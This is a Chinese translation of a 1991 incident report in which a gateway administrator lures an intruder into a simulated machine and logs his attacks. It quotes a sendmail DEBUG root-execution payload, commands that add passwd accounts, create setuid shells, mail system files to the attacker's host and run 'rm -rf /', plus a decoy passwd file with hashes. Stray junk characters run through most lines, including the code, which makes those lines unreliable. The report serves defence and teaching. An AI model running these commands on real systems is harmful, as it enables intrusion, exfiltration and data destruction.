在1991年1月7号,一个黑客,他确信自己发现了我们的Internet网关计算机的sendmail的一个DUBUG漏洞的黑客,试图获得我们的password文件,我“送”给他了一份。8 N. b( c0 y. x+ Z
在几个月中,我们引诱这名黑客作各种快乐的尝试,以便于我们发现他的位置和使用的破解技术。这篇文章是对该黑客的“成功”和失败,我们使用的诱饵和陷阱的详细记录$ y, K4 H# e$ i1 |, B M+ O
我们的结论是我们所遇到的这个黑客拥有大量的时间,固执异常,并持有一份优秀的系统漏洞列表。一旦他获得了系统的一个正式注册身份,使用那些漏洞他可以轻易的攻破uucp和bin帐号,然后是root。我们的黑客对军事目标和可以帮助他中转其连接的新机器很感兴趣。# S; i& e0 Z, Y; h0 e+ Y _
简介
' w- \( d: M9 D: j我们的安全Internet网关是1990年1月开始使用的。对于这个整个城堡的大门,我想知道它所可能遭到的攻击会有多么频繁。我明白Internet上有一些喜欢使用“暴力”的人,那么他们是谁?他们会攻击什么地方?会多么频繁?他们经常尝试系统的那些漏洞?
& b: l& ?5 r, K$ A- y- T& ~6 r事实上,他们没有对AT&T作出破坏,甚至很少光顾我们的这扇大门,那么,最终的乐趣只有如此,引诱一个黑客到一个我们设计好的环境中,记录下来他的所有动作,研究其行为,并提醒他的下一个目标作出防范。. j, R; P; P( d4 D- j5 \
大多数Internet上的工作站很少提供工具来作这些事情,商业系统检测并报告一些问题,但是它们忽略了很多我们想要的东西。我们的网关每天产生10兆的日志文件。但人们对于日志记录以外的服务的攻击呢?
9 T3 q. k6 q% w& ~/ e, p; T我们添加了一些虚假的服务在系统上,同时我编写了一个script文件用来检索每天的日志。我们检查以下几点:9 q0 O& D; l4 |: g9 Y; H
FTP :检索的工具会报告每天所有注册和试图注册的用户名。它还会报告用户对tilde的使用(这是个老版本的ftp的漏洞)、所有对ftp目录的/etc/passwd和/etc/group的存取以及对pub目录下完整文件列表的获取。获取passwd的人通常用它来获得系统的正式用户的注册名称,然后攻击、破解其密码。有时有些系统的管理员会将系统的真实passwd文件放在ftp的/etc目录下,我们伪造了一个passwd文件,它的密码被破解后是“why are you wasting your time.”
! ?9 q2 i, m( n+ }. s9 c0 XTelnet / login :所有试图login的动作都被记录了下来。这很容易就可以看出有些人在尝试很多帐号,或强力攻击某一个帐号。因为我们这个Internet的大门除了“警卫”外没有什么别的用户,很容易就可以找到问题所在。
- M2 x; t2 x4 z k: i4 aGuest / visitor 帐号:黑客们第一个寻找的就是公用帐号。这些帐号提供了友好的,最轻易的获取几乎系统的所有文件的机会,包括passwd文件。黑客也可以通过获取/etc/hosts.equiv文件或每个用户的.rhosts文件来获得机器的信任主机列表。我们对于这些帐号的login script文件是这样编写的:, `) T l: h4 W: H* r
exec 2>/dev/null # ensure that stderr doesn't appear7 X9 b/ W- G- K1 U1 \
trap "" 1
( g3 q! v$ X% n M/bin/echo( D. Q$ ]" T) r u
( /bin/echo "Attempt to login to inet with $LOGNAME from $CALLER" |( j T3 f, b# }8 ]
upasname=adm /bin/mail ches dangelo &5 q0 S/ o2 q% a+ K/ K2 i: A
# (notify calling machine's administrator for some machines...)
5 Z1 P) p( ^4 u+ U2 y3 e# (finger the calling machine...)3 r; j: m: V; F1 l; N
) 2>&1 | mail ches dangelo& Q! Q8 D2 U+ J/ t0 t2 i! p1 l2 N
/bin/echo "/tmp full"+ Z! h2 N; @5 `% D" D- L0 q
sleep 5 # I love to make them wait....+ M: t$ t/ m; L
/bin/echo "/tmp full"
1 ~2 k: Y( }, c: P: b. [/ ~3 e/bin/echo "/tmp full"- y5 S! C( ]* ]* R9 _2 S9 Z
/bin/echo* q! g( G$ g2 |- V% v. @) z& K
sleep 60 # ... and simulating a busy machine is useful
, d: J+ t: {, e; O( f5 U# Z- n1 H我们必须小心以便不让调用者看到系统的标志出错信息(如果一旦我们编写的script有误)。注意$CALLER是在另一端的主机或IP地址。通过修改telnetd或login,它将可以通过环境变量来获取。
# s- }. R" m/ h: k7 _& e$ D- HSMTP DEBUG : 这个命令提供了两个守候sendmail的漏洞的陷阱。虽然几乎所有的产品出售商都清除了这个漏洞,但偶尔仍有黑客尝试它。这个漏洞允许外部的使用者使用一段以root权限执行的script。当有些人尝试这个漏洞时,我就获得了他尝试的script代码。
& U5 I* Y! @3 R5 \: K! P oFinger :Finger提供了大量有用的信息给黑客:帐号名,该帐号的最后一次使用时间,以及一些可以用来猜测密码的信息。由于我们的组织不允许提供这些信息给别人,我们置入了一个程序,在finger了fingerd的调用者后拒绝figner请求。(当然我们会避免对来自自己的finger信息的死循环)。报告表明每天有数以十计的finger请求,其中大部分是合法的。
1 P" e" z6 ?! G! X ?$ p9 WRlogin / rsh :这些命令都是基于一些无条件信任的系统,我们的机器并不支持。但我们会finger使用这些命令的用户,并将他的尝试和用户信息等生成报告。$ N1 k; Q- k1 W" {3 z
上述很多探测器都使用figner命令来查明调用的机器和使用者。% K7 ]$ a% J9 j! [5 D8 o& z
当一个尝试显示为有不合法企图时,我就发出这样一条消息:# Q3 P0 y% O/ H6 p% y+ r. L; `
inetfans postmaster@sdsu.edu! e) V/ K' W2 n) f. O" l/ F- _
Yesterday someone from math.sdsu.edu fetched the /etc/passwd file
. j: s5 \ }2 n% dfrom our FTP directory. The file is not important, but these probes
) o% v, [3 h; V Q- H1 P- w2 dare sometimes performed from stolen accounts.
W- B4 h) B- tJust thought you'd like to know.% J7 }4 s* V9 `9 Z7 Q1 s
Bill Cheswick5 G5 e0 a) b$ x7 }; y
这是一个典型的信件,它被发往“inetfans”,这些人属于计算机紧急响应小组(Computer Emergency Response Team , CERT)、某些兴趣小组或对某些站点感兴趣的人。6 c$ ]$ }* K% K
很多系统管理员很重视这些报告,尤其是军事站点。通常,系统管理员在解决这些问题上都非常合作。对这些信件的反应包括道歉,拒绝信件,关闭帐号以及沉默等等。当一个站点开来愿意支持黑客们的活动时,我们会考虑拒收来自该站的所有信息包。" G2 z* Q6 O' e0 Z' `3 [" y
不友好的行动9 F8 N- }) Y# b, `
我们从1990年1月设置好这些探测器。统计表明被攻击率在每年学校的假期期间会上升。我们的被攻击率可能比其他站点高,因为我们是广为人知的,并被认为是“电话公司”。
: P1 A" B' E' D5 c当一个远程使用者取走passwd文件时,并不是所有的人都出于恶意的目的。有时他们只是想看看是否传输能正常工作。0 r- t& s" s% d- ]
19:43:10 smtpd[27466]: <--- 220 inet.att.com SMTP9 w( z& p- T; Y
19:43:14 smtpd[27466]: -------> debug
" R/ K" v5 R) K! C# }9 [! b! G) V19:43:14 smtpd[27466]: DEBUG attempt V& A. m. ~' T& Y: ~! m0 T6 w- s
19:43:14 smtpd[27466]: <--- 200 OK
" c$ ]8 h6 m2 E% L+ `1 u8 D( Y/ I19:43:25 smtpd[27466]: -------> mail from:0 g. i; Z$ {& ^. O/ ~+ ?3 }( U
19:43:25 smtpd[27466]: <--- 503 Expecting HELO
2 O( V" I* |: t+ \19:43:34 smtpd[27466]: -------> helo6 x9 q5 o$ ?5 I d
19:43:34 smtpd[27466]: HELO from K4 \. N' T. ~$ ~
19:43:34 smtpd[27466]: <--- 250 inet.att.com0 E! t3 G: U* w( b/ x
19:43:42 smtpd[27466]: -------> mail from: ' D9 ~* q G5 s% n( |
19:43:42 smtpd[27466]: <--- 250 OK: f" ^) J" s3 Y' J# I4 l& n
19:43:59 smtpd[27466]: -------> rcpt to: 19:43:59 smtpd[27466]: <--- 501 Syntax error in recipient name! Q1 j4 @! u# Z
19:44:44 smtpd[27466]: -------> rcpt to:<|sed -e '1,/?$/'d | /bin/sh ; exit 0">& q! P( M9 T% H# ]5 C0 f
19:44:44 smtpd[27466]: shell characters: |sed -e '1,/?$/'d | /bin/sh ; exit 0"
5 f/ a: I- T a6 O19:44:45 smtpd[27466]: <--- 250 OK' U4 I& ?( e+ V1 ]7 p
19:44:48 smtpd[27466]: -------> data
- q6 Z* P9 e7 M0 X+ d) i# j19:44:48 smtpd[27466]: <--- 354 Start mail input; end with .2 I) [4 V/ X, _& O8 E9 e
19:45:04 smtpd[27466]: <--- 250 OK" R' m' h7 ]$ H- v( E
19:45:04 smtpd[27466]: /dev/null sent 48 bytes to upas.security( }8 m3 T2 J6 Z% `- p
19:45:08 smtpd[27466]: -------> quit4 [* m& ]3 N8 h& e6 W7 R
19:45:08 smtpd[27466]: <--- 221 inet.att.com Terminating
/ |% S0 V- ?2 [/ _) }19:45:08 smtpd[27466]: finished.
* C3 }8 M" M/ a这是我们对SMTP过程的日志。这些看来很神秘的日志通常是有两个邮件发送器来相互对话的。在这个例子中,另一端是由人来键入命令。他尝试的第一个命令是DEBUG。当他接收的“250 OK”的回应时一定很惊奇。关键的行是“rcpt to :”。在尖括号括起的部分通常是一个邮件接收器的地址。这里它包含了一个命令行。Sendmail在DEBUG模式下用它来以ROOT身份执行一段命令。即:' M4 U6 l$ P ]3 d8 t
sed -e '1,/?$/'d | /bin/sh ; exit 0"
7 z: h5 ^% R9 p8 m它剥去了邮件头,并使用ROOT身份执行了消息体。这段消息邮寄给了我,这是我记录下来的,包含时间戳:$ `: h9 H+ C. E( N! k2 @: l7 A( m
19:45 mail adrian@embezzle.stanford.edu 19:51 mail adrian@embezzle.stanford.edu 他希望我们邮寄给他一份我们的passwd文件。大概用来运行一些passwd破解程序。所有这些探测结果都来自EMBEZZLE.STANFORD.EDU的一个adrian用户。他在美国空袭伊拉克半个小时后公然作出敌意反应。我怀疑是萨达姆雇佣了一两个黑客。我恰巧在ftp的目录下有一个假的passwd文件,就用root身份给Stanford发了过去。3 g' q7 a* H O% w
第二个早晨,我听到了来自Stanford的消息:他们知道了这件事,并正在发现问题所在。他们说adrian这个帐号被盗用了。1 ?2 V5 V! X- @1 N
接着的一个星期天我接到了从法国发来的一封信:
7 B0 L3 M: [" c0 r& JTo: root@research.att.com
0 q) m: J; d& S: W: \( D! _( USubject: intruder
) ?9 h: b# u/ r6 I8 k; Y7 z$ ]Date: Sun, 20 Jan 91 15:02:53 +01004 U7 m1 y0 l( S0 t* B& k5 r
I have just closed an account on my machine; d1 J( a4 |- k: @+ F" R7 s4 U
which has been broken by an intruder coming from embezzle.stanford.edu. He
7 u% V$ {: b7 m& s) S! ~1 j(she) has left a file called passwd. The contents are:( u8 `" ^& r# C# j
------------>
7 P- g! B/ v) t" S: _8 K7 DFrom root@research.att.com Tue Jan 15 18:49:13 1991! H0 f9 b5 |' C$ \* [0 U: ~8 \5 O
Received: from research.att.com by embezzle.Stanford.EDU (5.61/4.7);
) y. ~! ^/ X$ c, l1 ?! tTue, 15 Jan 91 18:49:12 -0800
! l7 C3 h5 `( h" u; `; w- B2 Z) QMessage-Id: <9101160249.AA26092@embezzle.Stanford.EDU>
+ Q2 z: d) {* ?( `! f: g/ \From: root@research.att.com( h6 [! X- f+ y" C5 u" _
Date: Tue, 15 Jan 91 21:48 EST
C7 J W4 ~5 T- s! p2 q$ y( F# iTo: adrian@embezzle.stanford.edu
x* g1 {4 j1 L3 y' E' MRoot: mgajqD9nOAVDw:0:2:0000-Admin(0000):/:
& a; l: [/ m3 \5 m$ B7 CDaemon: *:1:1:0000-Admin(0000):/:
4 s8 ]3 ]1 C3 T hBin: *:2:2:0000-Admin(0000):/bin:8 [# g- u2 h3 t! d: Q g. X4 H
Sys: *:3:3:0000-Admin(0000):/usr/v9/src:5 j9 C( r- z6 R* _8 W
Adm: *:4:4:0000-Admin(0000):/usr/adm:5 n5 S8 [8 u. q' n
Uucp: *:5:5:0000-uucp(0000):/usr/lib/uucp:, y0 o& d; @6 e. Y
Nuucp: *:10:10:0000-uucp(0000):/usr/spool/uucppublic:/usr/lib/uucp/uucico. N& M& w! m5 S& v2 o: b+ ^8 _
Ftp: anonymous:71:14:file transfer:/:no soap/ \; s' ?& x5 a
Ches: j2PPWsiVal..Q:200:1:me:/u/ches:/bin/sh
5 i, k/ Y: I* N8 r7 [& Y: xDmr: a98tVGlT7GiaM:202:1:Dennis:/u/dmr:/bin/sh* b' S+ W; c7 Q
Rtm: 5bHD/k5k2mTTs:203:1:Rob:/u/rtm:/bin/sh
3 f2 P _* c: ]9 qBerferd: deJCw4bQcNT3Y:204:1:Fred:/u/berferd:/bin/sh9 @4 q8 x4 A% x1 D9 q
Td: PXJ.d9CgZ9DmA:206:1:Tom:/u/td:/bin/sh5 Q1 ]8 L, |5 M3 n( ~5 n
Status: R
; W$ Q8 B$ u) V) G0 _! }! l1 t7 s3 m------------Please let me know if you heard of him./ i0 q! h; F' H4 G- P) c
陪伴Berferd的一个夜晚
9 D" ^8 k" {9 \" ^7 x* d% A8 D1月20号,星期天晚上,我的终端报告有安全敏感事件。
5 Y! v# q; {$ j( c: g! }, P0 B22:33 finger attempt on berferd
# ?; |# L% @) n! R! N& v \几分钟后,有人试图使用DEBUG来用ROOT身份执行命令,他试图修改我们的passwd文件!! z* _; n' Y% R: c0 J
22:36 echo "beferdd::300:1:maybe Beferd:/:/bin/sh" >>/etc/passwd) e7 Q' c1 F8 Q7 N8 o! `* w
cp /bin/sh /tmp/shell1 n: a; Z! p! P2 V0 ~9 X! k
chmod 4755 /tmp/shell
0 S/ T6 i: e( G. a3 Y连接同样来自EMBEZZLE.STANFORD.EDU。7 D! `+ M' y3 o1 H6 m* s( ]. x
我该怎么作呢?我不希望他真的能获得一个网关的帐号,为什么引狼入室呢?那样我将得不到他的键盘活动。
l. w, t8 l1 i. y9 ?* v# l, k我应该继续看看他关注的其他事情,或许我可以手工模拟一下操作系统,这意味着我必须让他以为机器速度很慢,因为我无法和MIPS M/120相比。同时意味着我必须模拟一个一致的操作系统。+ ~& J) k9 y! l$ |( ?; a1 S0 l
我已经有一个要求了,因为他已经持有了一份passwd。
8 \* {. ^: q8 A' n决定一:ftp的passwd是一个真实的passwd。6 j8 t5 E' s2 o5 T1 c
还有另外的两个:
3 g% L& ^$ E& `$ [决定二:网关机器管理极差。(有DEBUG漏洞,ftp目录里有passwd)。
7 y' X7 a4 A+ N" V* y1 P决定三:网关机器极慢。
+ e, T6 }! Q7 S5 z) @9 K0 [* W" e5 ~0 T因此我决定让他以为他已经改变了passwd文件,但却不急于让他进来。我必须生成一个帐号,但却使它不可操作。我应该怎么办?
+ k! ^ A! g% ?8 q( _决定四:我的shell并没有放在/bin下,它放在其他地方。这样,他进来后(让他认为passwd已经改动了),没有可运行的shell。
# S& K3 L4 w8 K! x6 G+ N1 ~这个决定很愚蠢,但我不会因此损失任何东西。我写了一个script,生成了一个临时帐号b,当它被调用时它会给我发信,调用者将看到如下信息:. M' j4 C5 l+ y X
RISC/os (inet)8 z, D$ j4 t0 m# s3 K1 Z$ N, v
login: b! B! ?) Y2 p1 p k! [
RISC/os (UMIPS) 4.0 inet
/ X: x! J3 k+ e* \7 L7 O# j9 TCopyright 1986, MIPS Computer Systems
3 w% i! I: k; v. F3 v- BAll Rights Reserved
* f6 n: t; J" Z: K/ K( EShell not found
" l' a8 u2 _. t我把b帐号在实际passwd文件中改成了beferd,当我作完后,他在此尝试:
) H/ ` \5 ?6 t) S" _22:41 echo "bferd ::301:1::/:/bin/sh" >> /etc/passwd/ n/ N: D8 x e; v4 W; Y
他的另一个试图添加到passwd文件的尝试。事实上,在我为bferd完成新的配置之前他开始急躁了:0 H/ _* z( B8 U1 h7 Z6 |
22:45 talk adrian@embezzle.stand?Hford.edu
1 r/ c5 c% T" Dtalk adrian@embezzle.stanford.edu
- q" M; q0 B/ U! U2 g9 R决定五:我们没有talk这个命令。
; c8 Z: G& r+ l) F$ U9 g) t他选择了berferd这个帐号:
& C! n9 M3 f( C! A* a: R22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU5 k, S7 g, X ~9 m
22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU
! [, m+ `6 {8 z# W22:49 Attempt to login to inet with bferd from embezzle.Stanford.EDU- o4 K" D. s A/ N
22:51 (Notified Stanford of the use of Tip-QuadA.Stanford.EDU)2 H0 j) y" ^ _3 i
22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU9 P9 D" O0 K! K/ g y$ v+ `
22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU1 @3 d8 A) S: G! t' J4 d: q/ e
22:55 echo "bfrd ::303:1::/tmp:/bin/sh" >> /etc/passwd
% P' Q1 O, J% G( e22:57 (Added bfrd to the real password file.)" E' `4 {9 z9 e: V0 _4 r% i0 g5 B
22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU0 a0 R+ G: ]0 f- X
22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU. R2 e J X h B6 T5 b
23:05 echo "36.92.0.205" >/dev/null
( D+ R% {' Q) y9 [9 h+ s/ |echo "36.92.0.205 embezzle.stanford.edu">>/etc./?H?H?H7 b2 C. U3 L6 Y1 F+ t
23:06 Attempt to login to inet with guest from rice-chex.ai.mit.edu
M( ]$ T4 c6 [2 D, K23:06 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts
* C& w6 |0 m: A7 ]/ A$ D23:08 echo "embezzle.stanford.edu adrian">>/tmp/.rhosts- X& b4 N' J+ N1 u* v
很显然他希望能够rlogin到我们的网关,这需要一些本地文件的特定设置。我们并没有作rlogin的检测。1 @8 z {& M0 N) Y+ {9 |* i
这时他又有新的动作:7 u h, Z$ B' {9 b- U" F
23:09 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
. B/ @4 u# V6 G, V M23:10 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
* H; c- B: ]5 {& T' v23:14 mail adrian@embezzle.stanford.edu < /etc/inetd.conf
" \5 z/ ?+ v w4 sps -aux|mail adrian@embezzle.stanford.edu
' c4 M- M: m- Q& p6 A# S在rlogin失败后,他希望能得到我们的inetd.conf文件来查看我们究竟启动了什么服务。我不想让他看到真正的inetd.conf,但伪造一个又非常困难。
6 x2 D. g' L- O0 J Q( U决定七:网关机器运行不稳定,时有不确定事件。9 Y& R+ `3 c+ |5 N) f, V$ m* s. R2 }+ ]
23:28 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts( ^- {& [ _8 \/ W
echo "embezzle.stanford.edu adrian" >> /tmp/.rhosts, f5 x7 x2 m5 b: F9 f$ N
ps -aux|mail adrian@embezzle.stanford.edu
9 U% Z: A% i1 `( \- Ymail adrian@embezzle.stanford.edu < /etc/inetd.conf( ] E/ |+ d0 Z) T
我不希望他看到ps的结果,幸运的是,他的Berkeley系统的ps命令在我的System V机器上是无效的。
- Y; J; Q$ r' F# J+ }! V5 \这时我通知了CERT,这时一起严重的攻击事件,在Stanford也应该有追踪这些请求的人。这时,活动又转到ftp上来:# b9 I1 X) v. u) s
Jan 20 23:36:48 inet ftpd[14437]: <--- 220 inet FTP server" k3 X$ D/ B# }5 J, f
(Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready.0 D( Y0 i, h( I+ h* q
Jan 20 23:36:55 inet ftpd[14437]: -------> user bfrd?M& E3 Q- M4 n: `2 m9 m- t5 P4 ]
Jan 20 23:36:55 inet ftpd[14437]: <--- 331 Password required for bfrd.1 g1 z% ^5 X% t: ]
Jan 20 23:37:06 inet ftpd[14437]: -------> pass?M
+ [ U, g4 t. a: [" g" |* @9 vJan 20 23:37:06 inet ftpd[14437]: <--- 500 'PASS': command not understood.
+ v$ [+ b' U: H' bJan 20 23:37:13 inet ftpd[14437]: -------> pass?M
3 p/ T: p+ s; W1 NJan 20 23:37:13 inet ftpd[14437]: <--- 500 'PASS': command not understood.
4 j4 `# j& T0 C/ JJan 20 23:37:24 inet ftpd[14437]: -------> HELP?M
3 L# X0 ~% {4 u: L7 @Jan 20 23:37:24 inet ftpd[14437]: <--- 214- The following commands are( P$ t1 I% Y0 Y) I; x4 @7 c$ c" V4 i
recognized (* =>'s unimplemented).$ B# w! ~+ @( b) f' i0 e% G% q
Jan 20 23:37:24 inet ftpd[14437]: <--- 214 Direct comments to ftp-bugs@inet.
0 i5 L& Y5 j! W7 Z% I9 @/ dJan 20 23:37:31 inet ftpd[14437]: -------> QUIT?M
8 B7 P+ b+ m- y" x) F$ p/ k5 _& K: GJan 20 23:37:31 inet ftpd[14437]: <--- 221 Goodbye.
T1 a$ x r1 z4 G7 XJan 20 23:37:31 inet ftpd[14437]: Logout, status 0
9 o" _) r) N8 M3 s1 b: NJan 20 23:37:31 inet inetd[116]: exit 14437
1 o* I1 i+ y2 b9 d+ TJan 20 23:37:41 inet inetd[116]: finger request from 36.92.0.205 pid 14454; w& C; d5 c% A
Jan 20 23:37:41 inet inetd[116]: exit 14454
9 g* T$ e+ z4 F/ U: O( A23:38 finger attempt on berferd9 \8 Q4 v8 c) a: `
23:48 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts.equiv1 T8 O+ t# G# T* r
23:53 mv /usr/etc/fingerd /usr/etc/fingerd.b
) v" U# f2 S+ F" w7 Lcp /bin/sh /usr/etc/fingerd9 j" s, i4 b: h
决定四已经决定了最后一行的尝试必然失败。因此,他只是破坏了我们模拟的机器上的finger而已,并没有将之替换成一个shell程序。我关闭了实际的fingerd程序。
' S/ V: D8 r; E23:57 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
9 o8 }/ b Z: X) i- l y23:58 cp /bin/csh /usr/etc/fingerd
0 ]- h6 o% Z# h我们模拟的机器上csh并不在/bin下,因此这个命令无效。! w4 ^. z$ y4 ] j7 _$ A
00:07 cp /usr/etc/fingerd.b /usr/etc/fingerd, Z" ^6 V9 D2 Q, R A
好吧,fingerd现在重新开始工作。Berferd的恢复工作干的不错。
( z: f3 l) a8 ~4 J& [; ]00:14 passwd bfrt
0 k5 i3 i+ C+ }7 i+ T% ^bfrt& I$ d H3 X3 k4 R& |
bfrt
0 @+ |/ s0 O1 }3 s5 i2 O现在他试图修改password,这永远不会成功,因为passwd的输入是/dev/tty,不是sendmail所执行的shell script。4 U# F" O0 ^9 i1 L, P
00:16 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
$ u) t' i: m6 }$ D# y00:17 echo "/bin/sh" > /tmp/Shell0 a0 P9 t" t6 ?
chmod 755 /tmp/shell
! y$ J' I4 C8 q1 W# \2 Z6 I8 @chmod 755 /tmp/Shell
; C! A$ M" P8 ^# B7 ~* `5 o2 T) F00:19 chmod 4755 /tmp/shell
5 h, `/ f# g/ K6 p2 C; K00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
: L7 @; t* M. E9 m00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU5 E" I( [ i" Q
00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU b( V4 j0 `4 d E
00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU6 t# R; S! g; q; x
这时我已经很累了。7 r; u. d4 S: n9 d' K
01:55 rm -rf /&9 F. N# `1 ?" U2 ]
喔!!太狠了!显然机器的状态让他迷惑,他希望能清除所有的痕迹。有些黑客会保护自己所作的工作,声明自己不作任何破坏。我们的黑客对我们感到疲劳了,因此以此结束。
' R" t2 x5 g6 X4 ^- ^他继续工作了几分钟,后来放弃:. E$ h: k# e- X/ S# Z# s
07:12 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
# a# h& {2 D+ |6 o# B6 d4 o07:14 rm -rf /&, S! e/ D: e3 }9 D) g( w; J
07:17 finger attempt on berferd& N% x1 @6 l2 r* }- Y. \
07:19 /bin/rm -rf /&4 ~) G6 Z0 Y. t1 A7 |
/bin/rm -rf /&
e9 g+ f; l$ k" U0 J8 r07:23 /bin/rm -rf /&( B6 j7 ^: f- @
07:25 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
! M8 j6 _& S5 w09:41 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
# r$ n( k d# X4 H! F |